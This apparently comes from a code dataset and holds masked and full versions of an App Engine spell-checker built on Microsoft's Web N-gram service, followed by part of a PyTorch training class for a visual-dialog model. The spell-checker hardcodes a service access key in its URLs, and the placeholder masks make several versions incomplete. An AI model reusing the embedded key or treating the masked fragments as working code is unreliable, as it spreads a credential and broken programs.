string = string.strip()
jps = list()
jps = urllib2.urlopen(urllib2.Request(REQUESTURL, str(string))).read(
).split()
for i in range(len(jps)):
jps[i] = float(jps[i]) / querylength(wordli[i])
dictionary = dict(zip(wordli, jps))
return sorted(dictionary.iteritems(), key=lambda entity: entity[1],
reverse=True)
def getjp1(before, wordlist, after):
global REQUESTURL
string = ''
for x in wordlist:
string += before + ' ' + str(x) + ' ' + after + '\n'
string = string.strip()
jps = list()
jps = urllib2.urlopen(urllib2.Request(REQUESTURL, str(string))).read(
).split()
for i in range(len(jps)):
jps[i] = float(jps[i])
dictionary = dict(zip(wordlist, jps))
return sorted(dictionary.iteritems(), key=lambda entity: entity[1],
reverse=True)
class mainpage(webapp.RequestHandler):
def get(self):
global MONTH, DATASET, NGRAM, PROB, REQUESTURL, GENURL
if len(self.request.get('m')):
MONTH = str(self.request.get('m'))
if len(self.request.get('d')):
DATASET = str(self.request.get('d'))
if len(self.request.get('ng')):
NGRAM = str(self.request.get('ng'))
if len(self.request.get('pp')):
PROB = str(self.request.get('pp'))
REQUESTURL = (
'http://web-ngram.research.microsoft.com/rest/lookup.svc/' +
DATASET + '/' + MONTH + '/' + NGRAM + '/' + PROB +
'?u=888b8bfe-a203-43c6-a303-ab8e8d47b38e')
GENURL = (
'http://web-ngram.research.microsoft.com/rest/lookup.svc/' +
DATASET + '/' + MONTH + '/' + NGRAM +
'/gen?u=888b8bfe-a203-43c6-a303-ab8e8d47b38e')
query = str(self.request.get('q'))
wordlist = query.strip().split()
dictionary = dict()
try:
cquery = combination(wordlist, 0)[0]
except:
cquery = query
try:
wordlist = query.strip().split()
squery = spacesplits(wordlist)[0]
except:
squery = query
try:
dictionary.update(getdictionary(wordlist))
except:
dictionary.update({query: 0})
try:
if query != cquery:
dictionary.update(getdictionary(cquery.split()))
except:
dictionary.update({cquery: 0})
try:
if query != squery:
dictionary.update(getdictionary(squery.split()))
except:
dictionary.update({squery: 0})
finallist = dictionary.keys()
self.response.headers['Content-Type'] = 'text/plain'
try:
result = getjp('', finallist, '')
final = list()
for i in range(len(result)):
final.append(10 ** result[i][1])
printresult = normalize(final)
for i in range(len(printresult)):
self.response.out.write(str(result[i][0]) + '\t' +
printresult[i] + '\n')
except:
self.response.out.write(query + '\t' + str(1))
class maintest(webapp.RequestHandler):
def get(self):
global MONTH, DATASET, NGRAM, PROB, REQUESTURL, GENURL
self.response.headers['Content-Type'] = 'text/plain'
self.response.out.write(REQUESTURL + '\n')
self.response.out.write(GENURL)
def getdictionary(wordelist):
global MONTH, DATASET, NGRAM, PROB
dictionaryy = dict()
rpcs = []
for i in range(len(wordelist)):
if i < 3:
t = 0
else:
t = i - 3
form_fields = {'word': wordelist[i], 'before': listtostr(wordelist[
t:i]), 'after': listtostr(wordelist[i + 1:i + 4]), 'm': MONTH,
'd': DATASET, 'ng': NGRAM, 'pp': PROB}
formdata = urllib.urlencode(form_fields)
rpc = urlfetch.create_rpc()
url = 'http://timetest.forbackend.appspot.com/wordspellcheck'
urlfetch.make_fetch_call(rpc, url, payload=formdata, method=
urlfetch.POST)
rpcs.append(rpc)
resultts = list()
for rpc in rpcs:
result = rpc.get_result()
resultts.append(result.content)
dictionaryy[listtostr(wordelist)] = 0
for i in range(len(wordelist)):
if resultts[i] == wordelist[i]:
continue
else:
for j in range(i, len(wordelist) + 1):
pp = listtostr(wordelist[:i] + resultts[i:j] + wordelist[j:])
dictionaryy[pp] = 0
return dictionaryy
class splittest(webapp.RequestHandler):
def get(self):
query = self.request.get('q')
wordlist = query.split()
splitted = combination(wordlist, 0)
self.response.out.write(splitted)
def querylength(query):
liste = query.split()
counte = 0
for x in liste:
if len(x) > 1:
counte += 1
if counte == 0:
return 1
else:
return counte
def listtostr(wordlist):
string = ''
for word in wordlist:
string += word + ' '
string = string.strip()
return string
def normalize(problist):
tot = 0
for x in problist:
tot += x
returnlist = list()
for i in range(len(problist)):
returnlist.append(str(round(problist[i] / tot, 3)))
return returnlist
<mask token>
def main():
run_wsgi_app(application)
<mask token>
| import re
import cgi
import os
import urllib
import urllib2
from time import sleep
from google.appengine.api import taskqueue
from google.appengine.ext import webapp
from google.appengine.ext.webapp.util import run_wsgi_app
from google.appengine.ext import db
from google.appengine.api import urlfetch
from google.appengine.api import backends
from google.appengine.api import logservice
logservice.AUTOFLUSH_EVERY_SECONDS = None
logservice.AUTOFLUSH_EVERY_BYTES = None
logservice.AUTOFLUSH_ENABLED = False
MONTH = 'jun09'
NGRAM = '3'
PROB = 'jp'
DATASET = 'bing-body'
REQUESTURL = ('http://web-ngram.research.microsoft.com/rest/lookup.svc/' +
DATASET + '/' + MONTH + '/' + NGRAM + '/' + PROB +
'?u=888b8bfe-a203-43c6-a303-ab8e8d47b38e')
GENURL = ('http://web-ngram.research.microsoft.com/rest/lookup.svc/' +
DATASET + '/' + MONTH + '/' + NGRAM +
'/gen?u=888b8bfe-a203-43c6-a303-ab8e8d47b38e')
class lexicon0(db.Model):
word = db.StringProperty(required=True)
known = db.StringListProperty(indexed=False)
def lexicon_key(lexicon_name=None):
return db.Key.from_path('lexicon0', lexicon_name or 'default')
def combination(wordlist, t):
tempc = wordlist
combinationqueryset = [listtostr(tempc[:i] + ['%s%s' % (tempc[i], tempc
[i + 1])] + tempc[i + 2:]) for i in range(0, len(tempc) - 1)]
cquery = listtostr(tempc)
combinationqueryset.append(cquery)
results = getjp1('', combinationqueryset, '')
dictionary = dict(results)
x = results.index((cquery, dictionary[cquery]))
if t == 0:
t = dictionary[cquery]
if results[0][0] == cquery:
return cquery, results[0][1], t
else:
dictionary = dict(results)
x = results.index((cquery, dictionary[cquery]))
y = list()
for i in range(x):
y.append(combinationqueryset.index(results[i][0]))
y.sort(reverse=True)
cache = wordlist
for z in y:
cache[z] += cache[z + 1]
del cache[z + 1]
return combination(cache, t)
def spacesplits(wordlist):
temps = wordlist
query = listtostr(temps)
strings = []
for i in range(len(temps)):
for y in range(1, len(temps[i])):
strings.append(listtostr(temps[:i] + list([temps[i][:y], temps[
i][y:]]) + temps[i + 1:]))
strings.append(query)
results = getjp1('', strings, '')
if results[0][0] == query:
return query, results[0][1]
else:
return spacesplits(results[0][0].split())
def getjp(before, wordlist, after):
global REQUESTURL
wordli = wordlist
string = ''
for x in wordli:
string += before + ' ' + str(x) + ' ' + after + '\n'
string = string.strip()
jps = list()
jps = urllib2.urlopen(urllib2.Request(REQUESTURL, str(string))).read(
).split()
for i in range(len(jps)):
jps[i] = float(jps[i]) / querylength(wordli[i])
dictionary = dict(zip(wordli, jps))
return sorted(dictionary.iteritems(), key=lambda entity: entity[1],
reverse=True)
def getjp1(before, wordlist, after):
global REQUESTURL
string = ''
for x in wordlist:
string += before + ' ' + str(x) + ' ' + after + '\n'
string = string.strip()
jps = list()
jps = urllib2.urlopen(urllib2.Request(REQUESTURL, str(string))).read(
).split()
for i in range(len(jps)):
jps[i] = float(jps[i])
dictionary = dict(zip(wordlist, jps))
return sorted(dictionary.iteritems(), key=lambda entity: entity[1],
reverse=True)
class mainpage(webapp.RequestHandler):
def get(self):
global MONTH, DATASET, NGRAM, PROB, REQUESTURL, GENURL
if len(self.request.get('m')):
MONTH = str(self.request.get('m'))
if len(self.request.get('d')):
DATASET = str(self.request.get('d'))
if len(self.request.get('ng')):
NGRAM = str(self.request.get('ng'))
if len(self.request.get('pp')):
PROB = str(self.request.get('pp'))
REQUESTURL = (
'http://web-ngram.research.microsoft.com/rest/lookup.svc/' +
DATASET + '/' + MONTH + '/' + NGRAM + '/' + PROB +
'?u=888b8bfe-a203-43c6-a303-ab8e8d47b38e')
GENURL = (
'http://web-ngram.research.microsoft.com/rest/lookup.svc/' +
DATASET + '/' + MONTH + '/' + NGRAM +
'/gen?u=888b8bfe-a203-43c6-a303-ab8e8d47b38e')
query = str(self.request.get('q'))
wordlist = query.strip().split()
dictionary = dict()
try:
cquery = combination(wordlist, 0)[0]
except:
cquery = query
try:
wordlist = query.strip().split()
squery = spacesplits(wordlist)[0]
except:
squery = query
try:
dictionary.update(getdictionary(wordlist))
except:
dictionary.update({query: 0})
try:
if query != cquery:
dictionary.update(getdictionary(cquery.split()))
except:
dictionary.update({cquery: 0})
try:
if query != squery:
dictionary.update(getdictionary(squery.split()))
except:
dictionary.update({squery: 0})
finallist = dictionary.keys()
self.response.headers['Content-Type'] = 'text/plain'
try:
result = getjp('', finallist, '')
final = list()
for i in range(len(result)):
final.append(10 ** result[i][1])
printresult = normalize(final)
for i in range(len(printresult)):
self.response.out.write(str(result[i][0]) + '\t' +
printresult[i] + '\n')
except:
self.response.out.write(query + '\t' + str(1))
class maintest(webapp.RequestHandler):
def get(self):
global MONTH, DATASET, NGRAM, PROB, REQUESTURL, GENURL
self.response.headers['Content-Type'] = 'text/plain'
self.response.out.write(REQUESTURL + '\n')
self.response.out.write(GENURL)
def getdictionary(wordelist):
global MONTH, DATASET, NGRAM, PROB
dictionaryy = dict()
rpcs = []
for i in range(len(wordelist)):
if i < 3:
t = 0
else:
t = i - 3
form_fields = {'word': wordelist[i], 'before': listtostr(wordelist[
t:i]), 'after': listtostr(wordelist[i + 1:i + 4]), 'm': MONTH,
'd': DATASET, 'ng': NGRAM, 'pp': PROB}
formdata = urllib.urlencode(form_fields)
rpc = urlfetch.create_rpc()
url = 'http://timetest.forbackend.appspot.com/wordspellcheck'
urlfetch.make_fetch_call(rpc, url, payload=formdata, method=
urlfetch.POST)
rpcs.append(rpc)
resultts = list()
for rpc in rpcs:
result = rpc.get_result()
resultts.append(result.content)
dictionaryy[listtostr(wordelist)] = 0
for i in range(len(wordelist)):
if resultts[i] == wordelist[i]:
continue
else:
for j in range(i, len(wordelist) + 1):
pp = listtostr(wordelist[:i] + resultts[i:j] + wordelist[j:])
dictionaryy[pp] = 0
return dictionaryy
class splittest(webapp.RequestHandler):
def get(self):
query = self.request.get('q')
wordlist = query.split()
splitted = combination(wordlist, 0)
self.response.out.write(splitted)
def querylength(query):
liste = query.split()
counte = 0
for x in liste:
if len(x) > 1:
counte += 1
if counte == 0:
return 1
else:
return counte
def listtostr(wordlist):
string = ''
for word in wordlist:
string += word + ' '
string = string.strip()
return string
def normalize(problist):
tot = 0
for x in problist:
tot += x
returnlist = list()
for i in range(len(problist)):
returnlist.append(str(round(problist[i] / tot, 3)))
return returnlist
application = webapp.WSGIApplication([('/mainpage', maintest), ('/maintest',
mainpage), ('/split', splittest)], debug=True)
def main():
run_wsgi_app(application)
if __name__ == '__main__':
main()
|
import re
import cgi
import os
import urllib
import urllib2
from time import sleep
from google.appengine.api import taskqueue
from google.appengine.ext import webapp
from google.appengine.ext.webapp.util import run_wsgi_app
from google.appengine.ext import db
from google.appengine.api import urlfetch
from google.appengine.api import backends
from google.appengine.api import logservice
logservice.AUTOFLUSH_EVERY_SECONDS = None
logservice.AUTOFLUSH_EVERY_BYTES = None
logservice.AUTOFLUSH_ENABLED = False
MONTH = "jun09"
NGRAM = "3"
PROB = "jp"
DATASET = "bing-body"
REQUESTURL = "http://web-ngram.research.microsoft.com/rest/lookup.svc/"+DATASET+"/"+MONTH+"/"+NGRAM+"/"+PROB+"?u=888b8bfe-a203-43c6-a303-ab8e8d47b38e"
GENURL = "http://web-ngram.research.microsoft.com/rest/lookup.svc/"+DATASET+"/"+MONTH+"/"+NGRAM+"/gen?u=888b8bfe-a203-43c6-a303-ab8e8d47b38e"
class lexicon0(db.Model):
word = db.StringProperty(required = True)
known = db.StringListProperty(indexed = False)
def lexicon_key(lexicon_name=None):
return db.Key.from_path('lexicon0', lexicon_name or 'default')
def combination(wordlist,t):#argument t is to notify that it is the main query while using cobination for first time
tempc = wordlist
combinationqueryset = [listtostr(tempc[:i] +
["%s%s"%(tempc[i],tempc[i+1])] +
tempc[i+2:] ) for i in range(0, len(tempc)-1)]
cquery = listtostr(tempc)
combinationqueryset.append(cquery)
results = getjp1('',combinationqueryset,'')
dictionary = dict(results)
x = results.index((cquery,dictionary[cquery]))
if (t==0): t = dictionary[cquery]
if (results[0][0] == cquery):
return (cquery,results[0][1],t)
else:
dictionary = dict(results)
x = results.index((cquery,dictionary[cquery]))
y = list()
for i in range(x):
y.append(combinationqueryset.index(results[i][0]))
y.sort(reverse = True)
cache = wordlist
for z in y:
cache[z] += cache[z+1]
del cache[z+1]
return combination(cache,t)
def spacesplits(wordlist):
temps = wordlist
query = listtostr(temps)
strings = []
for i in range(len(temps)):
for y in range(1,len(temps[i])):
strings.append(listtostr(temps[:i]+list([temps[i][:y],temps[i][y:]])+temps[i+1:]))
strings.append(query)
results = getjp1('',strings,'')
if (results[0][0] == query):
return (query,results[0][1])
else:
return spacesplits(results[0][0].split())
def getjp(before,wordlist,after):
global REQUESTURL
wordli = wordlist
string = ''
for x in wordli:
string += before+" "+str(x)+" "+after+"\n"
string = string.strip()
jps = list()
jps = urllib2.urlopen(
urllib2.Request(REQUESTURL,str(string))).read().split()
for i in range(len(jps)):
jps[i] = float(jps[i])/(querylength(wordli[i]))
dictionary = dict(zip(wordli,jps))
return sorted(dictionary.iteritems(), key = lambda entity:entity[1], reverse = True)
def getjp1(before,wordlist,after):
global REQUESTURL
string = ''
for x in wordlist:
string += before+" "+str(x)+" "+after+"\n"
string = string.strip()
jps = list()
jps = urllib2.urlopen(
urllib2.Request(REQUESTURL,str(string))).read().split()
for i in range(len(jps)):
jps[i] = float(jps[i])
dictionary = dict(zip(wordlist,jps))
return sorted(dictionary.iteritems(), key = lambda entity:entity[1], reverse = True)
class mainpage(webapp.RequestHandler):
def get(self):
global MONTH,DATASET,NGRAM,PROB,REQUESTURL,GENURL
if len(self.request.get('m')):
MONTH = str(self.request.get('m'))
if len(self.request.get('d')):
DATASET = str(self.request.get('d'))
if len(self.request.get('ng')):
NGRAM = str(self.request.get('ng'))
if len(self.request.get('pp')):
PROB = str(self.request.get('pp'))
REQUESTURL = "http://web-ngram.research.microsoft.com/rest/lookup.svc/"+DATASET+"/"+MONTH+"/"+NGRAM+"/"+PROB+"?u=888b8bfe-a203-43c6-a303-ab8e8d47b38e"
GENURL = "http://web-ngram.research.microsoft.com/rest/lookup.svc/"+DATASET+"/"+MONTH+"/"+NGRAM+"/gen?u=888b8bfe-a203-43c6-a303-ab8e8d47b38e"
query = str(self.request.get('q'))
wordlist = query.strip().split()
dictionary = dict()
try:
cquery = combination(wordlist,0)[0]
except:
cquery = query
try:
wordlist = query.strip().split()
squery = spacesplits(wordlist)[0]
except:
squery = query
try: dictionary.update(getdictionary(wordlist))
except:
dictionary.update({query:0})
try:
if (query != cquery): dictionary.update(getdictionary(cquery.split()))
except: dictionary.update({cquery:0})
try:
if (query != squery): dictionary.update(getdictionary(squery.split()))
except: dictionary.update({squery:0})
finallist = dictionary.keys()
self.response.headers['Content-Type'] = 'text/plain'
try:
result = getjp('',finallist,'')
final = list()
for i in range(len(result)):
final.append(10**((result[i][1])))
printresult = normalize(final)
for i in range(len(printresult)):
self.response.out.write(str(result[i][0])+"\t"+printresult[i]+"\n")
except:
self.response.out.write(query+"\t"+str(1))
class maintest(webapp.RequestHandler):
def get(self):
global MONTH,DATASET,NGRAM,PROB,REQUESTURL,GENURL
self.response.headers['Content-Type'] = 'text/plain'
self.response.out.write(REQUESTURL+"\n")
self.response.out.write(GENURL)
def getdictionary(wordelist):
global MONTH,DATASET,NGRAM,PROB
dictionaryy = dict()
rpcs = []
for i in range(len(wordelist)):
if i<3: t=0
else: t = i-3
form_fields = {
"word": wordelist[i],
"before": listtostr(wordelist[t:i]),
"after": listtostr(wordelist[i+1:i+4]),
"m": MONTH,
"d": DATASET,
"ng": NGRAM,
"pp": PROB
}
formdata = urllib.urlencode(form_fields)
rpc = urlfetch.create_rpc()
url = "http://timetest.forbackend.appspot.com/wordspellcheck"
#rpc.callback = create_callback(rpc)
urlfetch.make_fetch_call(rpc,
url,
payload = formdata,
method = urlfetch.POST)
rpcs.append(rpc)
resultts = list()
for rpc in rpcs:
result = rpc.get_result()
resultts.append(result.content)
#self.response.out.write(results)
#self.response.out.write(wordee)
dictionaryy[listtostr(wordelist)] = 0
for i in range(len(wordelist)):
if resultts[i] == wordelist[i]: continue
else:
for j in range(i,len(wordelist)+1):
pp = listtostr(wordelist[:i]+resultts[i:j]+wordelist[j:])
dictionaryy[pp] = 0
return dictionaryy
class splittest(webapp.RequestHandler):
def get(self):
query = self.request.get('q')
wordlist = query.split()
splitted = combination(wordlist,0)
self.response.out.write(splitted)
def querylength(query):
liste = query.split()
counte = 0
for x in liste:
if len(x)>1: counte += 1
if counte == 0: return 1
else: return counte
def listtostr(wordlist):
string = ''
for word in wordlist:
string += word+" "
string = string.strip()
return string
#def create_callback(rpc):
def normalize(problist):
tot = 0
for x in problist:
tot += x
returnlist = list()
for i in range(len(problist)):
returnlist.append(str(round((problist[i]/tot),3)))
return returnlist
application = webapp.WSGIApplication([
('/mainpage',maintest),#### the main speller is in main page web handler as i submitted maintest as the official submission i changed this
('/maintest',mainpage),
('/split',splittest)],
debug = True)
def main():
run_wsgi_app(application)
if __name__ == '__main__':
main()
| [
8,
16,
17,
21,
22
] |
9,913 | 4d1900c1a0a8d7639e0ec16fb0128fd8efc2e8a1 | <mask token>
class MVAN(object):
<mask token>
<mask token>
<mask token>
def _setup_training(self):
if self.hparams.save_dirpath == 'checkpoints/':
self.save_dirpath = os.path.join(self.hparams.root_dir, self.
hparams.save_dirpath)
self.summary_writer = SummaryWriter(self.save_dirpath)
self.checkpoint_manager = CheckpointManager(self.model, self.
optimizer, self.save_dirpath, hparams=self.hparams)
if self.hparams.load_pthpath == '':
self.start_epoch = 1
else:
self.start_epoch = int(self.hparams.load_pthpath.split('_')[-1]
[:-4])
self.start_epoch += 1
model_state_dict, optimizer_state_dict = load_checkpoint(self.
hparams.load_pthpath)
if isinstance(self.model, nn.DataParallel):
self.model.module.load_state_dict(model_state_dict)
else:
self.model.load_state_dict(model_state_dict)
self.optimizer.load_state_dict(optimizer_state_dict)
self.previous_model_path = self.hparams.load_pthpath
print('Loaded model from {}'.format(self.hparams.load_pthpath))
print(
"""
# -------------------------------------------------------------------------
# Setup Training Finished
# -------------------------------------------------------------------------
"""
)
def _loss_fn(self, epoch, batch, output):
target = batch['ans_ind'] if 'disc' in self.hparams.decoder else batch[
'ans_out']
batch_loss = self.criterion(output.view(-1, output.size(-1)),
target.view(-1).to(self.device))
return batch_loss
def train(self):
self._build_dataloader()
self._build_model()
self._setup_training()
evaluation = Evaluation(self.hparams, model=self.model, split='val')
global_iteration_step = (self.start_epoch - 1) * self.iterations
running_loss = 0.0
train_begin = datetime.utcnow()
print(
"""
# -------------------------------------------------------------------------
# Model Train Starts (NEW)
# -------------------------------------------------------------------------
"""
)
for epoch in range(self.start_epoch, self.hparams.num_epochs):
self.model.train()
combined_dataloader = itertools.chain(self.train_dataloader)
print(f'\nTraining for epoch {epoch}:', 'Total Iter:', self.
iterations)
tqdm_batch_iterator = tqdm(combined_dataloader)
accumulate_batch = 0
for i, batch in enumerate(tqdm_batch_iterator):
buffer_batch = batch.copy()
for key in batch:
buffer_batch[key] = buffer_batch[key].to(self.device)
output = self.model(buffer_batch)
batch_loss = self._loss_fn(epoch, batch, output)
batch_loss.backward()
accumulate_batch += batch['img_ids'].shape[0]
if (self.hparams.virtual_batch_size == accumulate_batch or
i == len(self.train_dataset) // self.hparams.
train_batch_size):
self.optimizer.step()
if running_loss > 0.0:
running_loss = (0.95 * running_loss + 0.05 *
batch_loss.item())
else:
running_loss = batch_loss.item()
self.optimizer.zero_grad()
accumulate_batch = 0
self.scheduler.step(global_iteration_step)
global_iteration_step += 1
description = (
'[{}][Epoch: {:3d}][Iter: {:6d}][Loss: {:6f}][lr: {:7f}]'
.format(datetime.utcnow() - train_begin, epoch,
global_iteration_step, running_loss, self.optimizer
.param_groups[0]['lr']))
tqdm_batch_iterator.set_description(description)
if (global_iteration_step % self.hparams.
tensorboard_step == 0):
description = (
'[{}][Epoch: {:3d}][Iter: {:6d}][Loss: {:6f}][lr: {:7f}]'
.format(datetime.utcnow() - train_begin, epoch,
global_iteration_step, running_loss, self.
optimizer.param_groups[0]['lr']))
self._logger.info(description)
self.summary_writer.add_scalar('train/loss',
batch_loss, global_iteration_step)
self.summary_writer.add_scalar('train/lr', self.
optimizer.param_groups[0]['lr'],
global_iteration_step)
self.checkpoint_manager.step(epoch)
self.previous_model_path = os.path.join(self.checkpoint_manager
.ckpt_dirpath, 'checkpoint_%d.pth' % epoch)
self._logger.info(self.previous_model_path)
if (epoch < self.hparams.num_epochs - 1 and self.hparams.
dataset_version == '0.9'):
continue
torch.cuda.empty_cache()
evaluation.run_evaluate(self.previous_model_path,
global_iteration_step, self.summary_writer, os.path.join(
self.checkpoint_manager.ckpt_dirpath, 'ranks_%d_valid.json' %
epoch))
torch.cuda.empty_cache()
return self.previous_model_path
| <mask token>
class MVAN(object):
def __init__(self, hparams):
self.hparams = hparams
self._logger = logging.getLogger(__name__)
np.random.seed(hparams.random_seed[0])
torch.manual_seed(hparams.random_seed[0])
torch.cuda.manual_seed_all(hparams.random_seed[0])
torch.backends.cudnn.benchmark = False
torch.backends.cudnn.deterministic = True
self.device = torch.device('cuda', self.hparams.gpu_ids[0]
) if self.hparams.gpu_ids[0] >= 0 else torch.device('cpu')
setproctitle(hparams.dataset_version + '_' + hparams.model_name +
'_' + str(hparams.random_seed[0]))
def _build_dataloader(self):
old_split = 'train' if self.hparams.dataset_version == '0.9' else None
self.train_dataset = VisDialDataset(self.hparams, overfit=self.
hparams.overfit, split='train', old_split=old_split)
collate_fn = None
if 'dan' in self.hparams.img_feature_type:
collate_fn = self.train_dataset.collate_fn
self.train_dataloader = DataLoader(self.train_dataset, batch_size=
self.hparams.train_batch_size, num_workers=self.hparams.
cpu_workers, shuffle=True, drop_last=True, collate_fn=collate_fn)
print(
"""
# -------------------------------------------------------------------------
# DATALOADER FINISHED
# -------------------------------------------------------------------------
"""
)
def _build_model(self):
print('\t* Building model...')
encoder = Encoder(self.hparams, self.train_dataset.vocabulary)
decoder = Decoder(self.hparams, self.train_dataset.vocabulary)
print('Encoder: {}'.format(self.hparams.encoder))
print('Decoder: {}'.format(self.hparams.decoder))
if self.hparams.glove_npy != '':
encoder.word_embed.weight.data = torch.from_numpy(np.load(self.
hparams.glove_npy))
print('Loaded glove vectors from {}'.format(self.hparams.glove_npy)
)
decoder.word_embed = encoder.word_embed
self.model = EncoderDecoderModel(encoder, decoder)
self.model = self.model.to(self.device)
if -1 not in self.hparams.gpu_ids and len(self.hparams.gpu_ids) > 1:
self.model = nn.DataParallel(self.model, self.hparams.gpu_ids)
if 'disc' in self.hparams.decoder:
self.criterion = nn.CrossEntropyLoss()
elif 'gen' in self.hparams.decoder:
self.criterion = nn.CrossEntropyLoss(ignore_index=self.
train_dataset.vocabulary.PAD_INDEX)
if self.hparams.training_splits == 'trainval':
self.iterations = (len(self.train_dataset) + len(self.
valid_dataset)) // self.hparams.virtual_batch_size
else:
self.iterations = len(self.train_dataset
) // self.hparams.virtual_batch_size
def lr_lambda_fun(current_iteration: int) ->float:
"""Returns a learning rate multiplier.
Till `warmup_epochs`, learning rate linearly increases to `initial_lr`,
and then gets multiplied by `lr_gamma` every time a milestone is crossed.
"""
current_epoch = float(current_iteration) / self.iterations
if current_epoch <= self.hparams.warmup_epochs:
alpha = current_epoch / float(self.hparams.warmup_epochs)
return self.hparams.warmup_factor * (1.0 - alpha) + alpha
else:
return_val = 1.0
if current_epoch >= self.hparams.lr_milestones[0
] and current_epoch < self.hparams.lr_milestones2[0]:
idx = bisect(self.hparams.lr_milestones, current_epoch)
return_val = pow(self.hparams.lr_gamma, idx)
elif current_epoch >= self.hparams.lr_milestones2[0]:
idx = bisect(self.hparams.lr_milestones2, current_epoch)
return_val = self.hparams.lr_gamma * pow(self.hparams.
lr_gamma2, idx)
return return_val
if self.hparams.lr_scheduler == 'LambdaLR':
self.optimizer = optim.Adam(self.model.parameters(), lr=self.
hparams.initial_lr)
self.scheduler = lr_scheduler.LambdaLR(self.optimizer,
lr_lambda=lr_lambda_fun)
else:
raise NotImplementedError
print(
"""
# -------------------------------------------------------------------------
# Model Build Finished
# -------------------------------------------------------------------------
"""
)
def _setup_training(self):
if self.hparams.save_dirpath == 'checkpoints/':
self.save_dirpath = os.path.join(self.hparams.root_dir, self.
hparams.save_dirpath)
self.summary_writer = SummaryWriter(self.save_dirpath)
self.checkpoint_manager = CheckpointManager(self.model, self.
optimizer, self.save_dirpath, hparams=self.hparams)
if self.hparams.load_pthpath == '':
self.start_epoch = 1
else:
self.start_epoch = int(self.hparams.load_pthpath.split('_')[-1]
[:-4])
self.start_epoch += 1
model_state_dict, optimizer_state_dict = load_checkpoint(self.
hparams.load_pthpath)
if isinstance(self.model, nn.DataParallel):
self.model.module.load_state_dict(model_state_dict)
else:
self.model.load_state_dict(model_state_dict)
self.optimizer.load_state_dict(optimizer_state_dict)
self.previous_model_path = self.hparams.load_pthpath
print('Loaded model from {}'.format(self.hparams.load_pthpath))
print(
"""
# -------------------------------------------------------------------------
# Setup Training Finished
# -------------------------------------------------------------------------
"""
)
def _loss_fn(self, epoch, batch, output):
target = batch['ans_ind'] if 'disc' in self.hparams.decoder else batch[
'ans_out']
batch_loss = self.criterion(output.view(-1, output.size(-1)),
target.view(-1).to(self.device))
return batch_loss
def train(self):
self._build_dataloader()
self._build_model()
self._setup_training()
evaluation = Evaluation(self.hparams, model=self.model, split='val')
global_iteration_step = (self.start_epoch - 1) * self.iterations
running_loss = 0.0
train_begin = datetime.utcnow()
print(
"""
# -------------------------------------------------------------------------
# Model Train Starts (NEW)
# -------------------------------------------------------------------------
"""
)
for epoch in range(self.start_epoch, self.hparams.num_epochs):
self.model.train()
combined_dataloader = itertools.chain(self.train_dataloader)
print(f'\nTraining for epoch {epoch}:', 'Total Iter:', self.
iterations)
tqdm_batch_iterator = tqdm(combined_dataloader)
accumulate_batch = 0
for i, batch in enumerate(tqdm_batch_iterator):
buffer_batch = batch.copy()
for key in batch:
buffer_batch[key] = buffer_batch[key].to(self.device)
output = self.model(buffer_batch)
batch_loss = self._loss_fn(epoch, batch, output)
batch_loss.backward()
accumulate_batch += batch['img_ids'].shape[0]
if (self.hparams.virtual_batch_size == accumulate_batch or
i == len(self.train_dataset) // self.hparams.
train_batch_size):
self.optimizer.step()
if running_loss > 0.0:
running_loss = (0.95 * running_loss + 0.05 *
batch_loss.item())
else:
running_loss = batch_loss.item()
self.optimizer.zero_grad()
accumulate_batch = 0
self.scheduler.step(global_iteration_step)
global_iteration_step += 1
description = (
'[{}][Epoch: {:3d}][Iter: {:6d}][Loss: {:6f}][lr: {:7f}]'
.format(datetime.utcnow() - train_begin, epoch,
global_iteration_step, running_loss, self.optimizer
.param_groups[0]['lr']))
tqdm_batch_iterator.set_description(description)
if (global_iteration_step % self.hparams.
tensorboard_step == 0):
description = (
'[{}][Epoch: {:3d}][Iter: {:6d}][Loss: {:6f}][lr: {:7f}]'
.format(datetime.utcnow() - train_begin, epoch,
global_iteration_step, running_loss, self.
optimizer.param_groups[0]['lr']))
self._logger.info(description)
self.summary_writer.add_scalar('train/loss',
batch_loss, global_iteration_step)
self.summary_writer.add_scalar('train/lr', self.
optimizer.param_groups[0]['lr'],
global_iteration_step)
self.checkpoint_manager.step(epoch)
self.previous_model_path = os.path.join(self.checkpoint_manager
.ckpt_dirpath, 'checkpoint_%d.pth' % epoch)
self._logger.info(self.previous_model_path)
if (epoch < self.hparams.num_epochs - 1 and self.hparams.
dataset_version == '0.9'):
continue
torch.cuda.empty_cache()
evaluation.run_evaluate(self.previous_model_path,
global_iteration_step, self.summary_writer, os.path.join(
self.checkpoint_manager.ckpt_dirpath, 'ranks_%d_valid.json' %
epoch))
torch.cuda.empty_cache()
return self.previous_model_path
| <mask token>
os.environ['CUDA_VISIBLE_DEVICES'] = '0,1'
<mask token>
class MVAN(object):
def __init__(self, hparams):
self.hparams = hparams
self._logger = logging.getLogger(__name__)
np.random.seed(hparams.random_seed[0])
torch.manual_seed(hparams.random_seed[0])
torch.cuda.manual_seed_all(hparams.random_seed[0])
torch.backends.cudnn.benchmark = False
torch.backends.cudnn.deterministic = True
self.device = torch.device('cuda', self.hparams.gpu_ids[0]
) if self.hparams.gpu_ids[0] >= 0 else torch.device('cpu')
setproctitle(hparams.dataset_version + '_' + hparams.model_name +
'_' + str(hparams.random_seed[0]))
def _build_dataloader(self):
old_split = 'train' if self.hparams.dataset_version == '0.9' else None
self.train_dataset = VisDialDataset(self.hparams, overfit=self.
hparams.overfit, split='train', old_split=old_split)
collate_fn = None
if 'dan' in self.hparams.img_feature_type:
collate_fn = self.train_dataset.collate_fn
self.train_dataloader = DataLoader(self.train_dataset, batch_size=
self.hparams.train_batch_size, num_workers=self.hparams.
cpu_workers, shuffle=True, drop_last=True, collate_fn=collate_fn)
print(
"""
# -------------------------------------------------------------------------
# DATALOADER FINISHED
# -------------------------------------------------------------------------
"""
)
def _build_model(self):
print('\t* Building model...')
encoder = Encoder(self.hparams, self.train_dataset.vocabulary)
decoder = Decoder(self.hparams, self.train_dataset.vocabulary)
print('Encoder: {}'.format(self.hparams.encoder))
print('Decoder: {}'.format(self.hparams.decoder))
if self.hparams.glove_npy != '':
encoder.word_embed.weight.data = torch.from_numpy(np.load(self.
hparams.glove_npy))
print('Loaded glove vectors from {}'.format(self.hparams.glove_npy)
)
decoder.word_embed = encoder.word_embed
self.model = EncoderDecoderModel(encoder, decoder)
self.model = self.model.to(self.device)
if -1 not in self.hparams.gpu_ids and len(self.hparams.gpu_ids) > 1:
self.model = nn.DataParallel(self.model, self.hparams.gpu_ids)
if 'disc' in self.hparams.decoder:
self.criterion = nn.CrossEntropyLoss()
elif 'gen' in self.hparams.decoder:
